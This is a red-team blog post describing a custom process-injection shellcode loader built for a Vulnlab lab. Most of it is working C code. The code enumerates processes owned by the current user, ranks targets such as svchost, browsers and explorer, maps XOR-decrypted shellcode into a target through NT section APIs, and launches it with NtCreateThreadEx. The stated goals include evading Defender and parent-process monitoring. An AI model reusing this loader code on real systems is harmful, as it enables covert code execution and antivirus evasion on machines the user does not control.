ShivaInjector
Process of building a section mapping injection loader to use in Vulnlab's Shiva RTL.
For Vulnlab’s Shiva, the last red team lab (RTL) I have left, I decided to create another custom shellcode loader. This has become a bit of a tradition for me. For each previous RTL, I threw together a dedicated loader.
The loaders for Shinra and Ifrit are already on my GitHub. Though for Wutai I modified my SimpleShellcodeLoader project by removing the option of loading shellcode directly from disk, since that approach is now detected by Defender without modification.
The Problem
When I built Samoflange, which uses thread hijacking to detonate its payload, I found it unreliable in certain environments. The same applies to several other thread-based methods, such as Waiting Thread Hijacking. They work in some cases but not in others, and that unpredictability is not ideal during an engagement.
Also, by spawning processes like RuntimeBroker
and SvcHost
we increase our odds of detection as the parent process will be like cmd
, powershell
, or wsmprovhost
. All three of those have their child processes monitored, which sets off alerts.
Obviously we don’t want to be detected, so that limits our options. We could target an SvcHost
that’s running on the system, then spoof the parent PPID. But if we connect with WinRM
and the user isn’t already active on the machine wsmprovhost
is the only process that we can create a child to or inject into. Also, spawning a new process is noisy in itself.
So the plan is to create a loader that will search for processes that can be injected into, rank by the freedoms those processes reguarly have, map a section into the best process, and then create a thread that triggers the payload.
A Simple First Step
In PowerShell it’s easy to get a list of processes that belong to the current user, and most of these are suitable injection targets:
1
2
3
4
5
# Processes running as the current user:
Get-Process | Where-Object { $_.StartInfo.Environment["USERNAME"] -eq $env:USERNAME } | Select ProcessName, Id
# Using WMI:
Get-WmiObject Win32_Process | Where-Object { $_.GetOwner().User -eq $env:USERNAME } | Select Name, ProcessID
We could pass one of the PIDs returned to the loader.
But what if PowerShell is not available? Doing the same thing in C, without relying on higher-level Windows API calls, is much more difficult.
Lets break the process down into clear steps. We will look at how to:
- Identify the current user’s SID
- Enumerate all processes
- Filter only those owned by the current user
- Select a suitable candidate for injection
Finding a Friendly Process to Inject Into
When you’re building tooling that needs to inject inside another process, you can’t just blindly open any process you see on the system.
- You might not have permissions.
- You could trigger security software.
- You could crash something critical.
The safe bet? Stick to processes that belong to your own user account, ones that you own and have permission to touch.
The code we’re going to look at does exactly that. It’s split into four main parts:
Step 1: Figuring Out Who “You” Are
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
static BOOL GetCurrentUserSID(INSTANCE Instance, PSID* ppSid) {
HANDLE hToken = NULL;
// use pseudo-handle for current process: (HANDLE)-1
NTSTATUS status = Instance.Api.NtOpenProcessToken((HANDLE)-1, TOKEN_QUERY, &hToken);
if (!NT_SUCCESS(status)) return FALSE;
ULONG need = 0;
// First query to get required size
status = Instance.Api.NtQueryInformationToken(hToken, TokenUser, NULL, 0, &need);
if (status != STATUS_BUFFER_TOO_SMALL && status != STATUS_INVALID_PARAMETER) {
// on some Windows variants the call returns STATUS_BUFFER_TOO_SMALL; treat other as error
Instance.Api.NtClose(hToken);
return FALSE;
}
PTOKEN_USER ptu = (PTOKEN_USER)malloc(need);
if (!ptu) { Instance.Api.NtClose(hToken); return FALSE; }
status = Instance.Api.NtQueryInformationToken(hToken, TokenUser, ptu, need, &need);
if (!NT_SUCCESS(status)) {
free(ptu);
Instance.Api.NtClose(hToken);
return FALSE;
}
DWORD sidLen = GetLengthSid(ptu->User.Sid);
PSID sidCopy = malloc(sidLen);
if (!sidCopy) {
free(ptu);
Instance.Api.NtClose(hToken);
return FALSE;
}
memcpy(sidCopy, ptu->User.Sid, sidLen);
free(ptu);
Instance.Api.NtClose(hToken);
*ppSid = sidCopy;
return TRUE;
}
Every user account in Windows is identified internally by a Security Identifier (SID). It’s like your account’s passport number; unique to you.
Here’s the flow:
- Open your own process token - the small data structure Windows keeps with your login details.
- Ask how big the “TokenUser” data is (two-step dance because NT APIs often require you to check size first).
- Grab the SID from that token.
- Make a private copy so it stays valid after we close the token.
At the end, we know:
“This is me: SID
S-1-5-21-…
”
Step 2: Asking “Does This Process Belong to Me?”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static BOOL IsProcessOwnedByUser(INSTANCE Instance, DWORD pid, PSID currentSid) {
HANDLE hProcess = NULL;
CLIENT_ID cid{};
cid.UniqueProcess = (PVOID)(ULONG_PTR)pid;
cid.UniqueThread = NULL;
OBJECT_ATTRIBUTES oa{};
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
NTSTATUS status = Instance.Api.NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);
if (!NT_SUCCESS(status) || hProcess == NULL) {
// couldn't open -> treat as not-owned
return FALSE;
}
// Open the token for the process
HANDLE hToken = NULL;
status = Instance.Api.NtOpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!NT_SUCCESS(status) || !hToken) {
Instance.Api.NtClose(hProcess);
return FALSE;
}
// Query TokenUser size
ULONG need = 0;
status = Instance.Api.NtQueryInformationToken(hToken, TokenUser, NULL, 0, &need);
if (status != STATUS_BUFFER_TOO_SMALL && status != STATUS_INVALID_PARAMETER) {
Instance.Api.NtClose(hToken);
Instance.Api.NtClose(hProcess);
return FALSE;
}
PTOKEN_USER ptu = (PTOKEN_USER)malloc(need);
if (!ptu) {
Instance.Api.NtClose(hToken);
Instance.Api.NtClose(hProcess);
return FALSE;
}
status = Instance.Api.NtQueryInformationToken(hToken, TokenUser, ptu, need, &need);
if (!NT_SUCCESS(status)) {
free(ptu);
Instance.Api.NtClose(hToken);
Instance.Api.NtClose(hProcess);
return FALSE;
}
BOOL match = CheckEqualSid(currentSid, ptu->User.Sid) ? TRUE : FALSE;
free(ptu);
Instance.Api.NtClose(hToken);
Instance.Api.NtClose(hProcess);
return match;
}
For each process we might look at, we:
- Open the process (read-only, minimal privileges).
- Open its token.
- Get the owner SID from that token.
- Compare it with our SID from Step 1.
If they match -> it’s ours. If not -> ignore it.
This keeps us from touching processes owned by SYSTEM
, other users, or services.
Step 3: Getting the List of All Our Processes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int EnumerateProcessesForCurrentUser(INSTANCE Instance, PF_PROCESS_ENTRY** outList) {
PSID currentSid = NULL;
if (!GetCurrentUserSID(Instance, ¤tSid)) return 0;
ULONG bufSize = 1 << 16; // 64KB start
PVOID buffer = NULL;
NTSTATUS status;
ULONG returnLen = 0;
// grow until success
for (;;) {
if (buffer) { Instance.Api.RtlFreeHeap(NtGetCurrentHeap(), 0, buffer); buffer = NULL; }
buffer = Instance.Api.RtlAllocateHeap(NtGetCurrentHeap(), HEAP_ZERO_MEMORY, bufSize);
if (!buffer) { free(currentSid); return 0; }
status = Instance.Api.NtQuerySystemInformation(SystemProcessInformation, buffer, bufSize, &returnLen);
if (status == STATUS_INFO_LENGTH_MISMATCH) {
bufSize *= 2;
continue;
}
if (!NT_SUCCESS(status)) {
Instance.Api.RtlFreeHeap(NtGetCurrentHeap(), 0, buffer);
free(currentSid);
return 0;
}
break;
}
PSYSTEM_PROCESS_INFORMATION spi = (PSYSTEM_PROCESS_INFORMATION)buffer;
size_t capacity = PF_INITIAL_CAP;
PF_PROCESS_ENTRY* list = (PF_PROCESS_ENTRY*)malloc(capacity * sizeof(PF_PROCESS_ENTRY));
if (!list) { Instance.Api.RtlFreeHeap(NtGetCurrentHeap(), 0, buffer); free(currentSid); return 0; }
size_t count = 0;
while (TRUE) {
if (spi->UniqueProcessId != 0) {
DWORD pid = (DWORD)(ULONG_PTR)spi->UniqueProcessId;
// check owner
if (IsProcessOwnedByUser(Instance, pid, currentSid)) {
if (count >= capacity) {
size_t nc = capacity * 2;
PF_PROCESS_ENTRY* tmp = (PF_PROCESS_ENTRY*)realloc(list, nc * sizeof(PF_PROCESS_ENTRY));
if (!tmp) break;
list = tmp;
capacity = nc;
}
list[count].pid = pid;
if (spi->ImageName.Buffer && spi->ImageName.Length) {
// ImageName.Length is bytes
int nchars = (int)(spi->ImageName.Length / sizeof(WCHAR));
int tocopy = (nchars < (PF_NAME_LEN - 1)) ? nchars : (PF_NAME_LEN - 1);
wcsncpy_s(list[count].name, PF_NAME_LEN, spi->ImageName.Buffer, tocopy);
list[count].name[tocopy] = L'\0';
}
else {
// fallback
wcsncpy_s(list[count].name, PF_NAME_LEN, L"(unknown)", _TRUNCATE);
}
count++;
}
}
if (spi->NextEntryOffset == 0) break;
spi = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)spi + spi->NextEntryOffset);
}
Instance.Api.RtlFreeHeap(NtGetCurrentHeap(), 0, buffer);
free(currentSid);
*outList = list;
return (int)count;
}
Now the fun part: system-wide process inventory.
We call NtQuerySystemInformation(SystemProcessInformation)
, a low-level NT API that returns a giant linked list of every process in the system.
The code:
- Starts with a 64KB buffer.
- If the data doesn’t fit (
STATUS_INFO_LENGTH_MISMATCH
), it doubles the buffer and tries again. - Walks the process list one entry at a time.
- For each PID, calls IsProcessOwnedByUser to see if we own it.
- Saves matching processes’ names and IDs into our result list.
At the end, we have something like:
1
2
3
[ PID: 1234 Name: notepad.exe
PID: 5678 Name: calc.exe
PID: 4321 Name: myapp.exe ]
All owned by us, and potential injection targets.
Step 4: Picking a Good Injection Target
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HANDLE FindInjectableProcess(INSTANCE Instance, DWORD* outPid, const WCHAR* preferred[], int preferredCount) {
PF_PROCESS_ENTRY* list = NULL;
int count = EnumerateProcessesForCurrentUser(Instance, &list);
if (count <= 0) {
if (list) free(list);
return NULL;
}
HANDLE hResult = NULL;
OBJECT_ATTRIBUTES oa{};
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
for (int i = 0; i < count && !hResult; i++) {
for (int p = 0; p < preferredCount && !hResult; p++) {
if (_wcsicmp(list[i].name, preferred[p]) == 0) {
CLIENT_ID cid;
cid.UniqueProcess = (PVOID)(ULONG_PTR)list[i].pid;
cid.UniqueThread = NULL;
HANDLE hProcess = NULL;
NTSTATUS status = Instance.Api.NtOpenProcess(&hProcess, INJECTION_DESIRED_ACCESS, &oa, &cid);
if (NT_SUCCESS(status) && hProcess) {
// success
hResult = hProcess;
*outPid = list[i].pid;
break;
}
}
}
}
free(list);
return hResult;
}
From our list of owned processes, we try to match a “preferred” list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// List of preferred targets, for sorting
// See https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/credential_access_kerberoasting_unusual_process
// Remember that if the process is closed by the system or user it will kill your beacon.
const WCHAR* targets[] = {
L"svchost.exe",
L"MicrosoftEdge.exe",
L"msedge.exe",
L"MicrosoftEdgeUpdate.exe",
L"chrome.exe",
L"firefox.exe",
L"RuntimeBroker.exe",
L"wsmprovhost.exe", // The only process we can inject into if connected with winrm
L"explorer.exe"
};
For each candidate:
- Check if the process name matches (case-insensitive).
- Try to open it with desired access permissions, such as PROCESS_CREATE_THREAD.
- If that works, return the handle and PID.
If nothing matches, return NULL
- meaning no suitable process found.
Putting It All Together
Here’s the high-level pipeline:
1
2
3
4
5
6
7
8
9
10
11
12
13
[ GetCurrentUserSID ]
|
v
[ Enumerate all processes ]
|
v
[ Keep only processes where SID == our SID ]
|
v
[ From that list, pick one from our preferred targets ]
|
v
[ Open with injection access -> ready to use ]
There’s probably a much better way to do this, but it’s what I ended up with.
Mapping Shellcode Into the Target Process
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// -- MapShellcodeToTarget --
void* MapShellcodeToTarget(INSTANCE Instance, HANDLE hProc, PVOID* remoteOut, PBYTE payload, DWORD size, char* xorKey) {
LARGE_INTEGER maxSize{};
maxSize.QuadPart = size;
HANDLE hSection = NULL;
if (Instance.Api.NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL) != 0) return NULL;
PVOID local = NULL; SIZE_T viewSize = 0;
if (Instance.Api.NtMapViewOfSection(hSection, NtCurrentProcess(), &local, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE) != 0) return NULL;
if (xorKey[0] && !XorDecrypt(payload, size, xorKey)) return NULL;
memcpy(local, payload, size);
PVOID remote = NULL; SIZE_T remoteSize = 0;
if (Instance.Api.NtMapViewOfSection(hSection, hProc, &remote, 0, 0, NULL, &remoteSize, 2, 0, PAGE_EXECUTE_READ) != 0) return NULL;
Instance.Api.NtUnmapViewOfSection(NtCurrentProcess(), local);
*remoteOut = remote;
return hSection;
}
Once we have picked a process to inject into, the next step is to actually get our payload into that process’s memory.
For this loader I am using a section mapping technique with native NT APIs. I have found it to be both simple and reliable.
The steps look like this:
- Create a shared memory section
1 2 3
LARGE_INTEGER maxSize{}; maxSize.QuadPart = size; Instance.Api.NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
A section is a chunk of memory that can be mapped into one or more processes at the same time. Here, we make it large enough to hold the shellcode and give it read, write, and execute permissions.
- Map the section into the current process for writing
1
Instance.Api.NtMapViewOfSection(hSection, NtCurrentProcess(), &local, 0, 0, NULL, &viewSize, 2, 0, PAGE_READWRITE);
This lets us write to the section from our own process first. If an XOR key is provided, we decrypt the payload in memory before copying it over:
1 2
if (xorKey[0] && !XorDecrypt(payload, size, xorKey)) return NULL; memcpy(local, payload, size);
- Map the same section into the target process as read-execute
1
Instance.Api.NtMapViewOfSection(hSection, hProc, &remote, 0, 0, NULL, &remoteSize, 2, 0, PAGE_EXECUTE_READ);
Now the target process sees the same memory content we just wrote, but with permissions set for execution. At this point, the shellcode is ready to run inside the target.
- Clean up the local mapping
1
Instance.Api.NtUnmapViewOfSection(NtCurrentProcess(), local);
We unmap our own copy, leaving only the remote mapping in place.
- Return the section handle The section handle is kept so we can execute the payload.
Executing Mapped Shellcode
1
2
3
4
5
6
7
8
9
bool CreateThreadInTarget(INSTANCE Instance, HANDLE hProcess, PVOID remoteSectionAddress) {
PVOID hRemoteThread = NULL;
NTSTATUS status = Instance.Api.NtCreateThreadEx(&hRemoteThread, THREAD_ALL_ACCESS, NULL, hProcess, remoteSectionAddress, NULL, FALSE, 0, 0, 0, NULL);
if (status != 0 || hRemoteThread == NULL) {
printf("[-] NtCreateThreadEx failed: 0x%X\n", status);
return 1;
}
return 1;
}
And finally, we trigger the payload. While NtCreateThreadEx
is a well known way to do this, it’s also the simplest and most reliable, which fits in with the goal of this project.
The final flow:
1
2
3
4
5
6
7
8
9
10
[ Download the payload ]
|
v
[ Find a process worth injecting into or validate a user submitted PID ]
|
v
[ Section map to the target process ]
|
v
[ Launch the payload ]
That’s all. Maybe someday I’ll learn how to write a proper post instead of whatever this is, but hopefully there’s still something useful here for you.
You can find the full source on github:
https://github.com/P0142/ShivaLoader
References:
- https://oblivion-malware.xyz/
- https://maldevacademy.com/
- https://research.checkpoint.com/2025/waiting-thread-hijacking/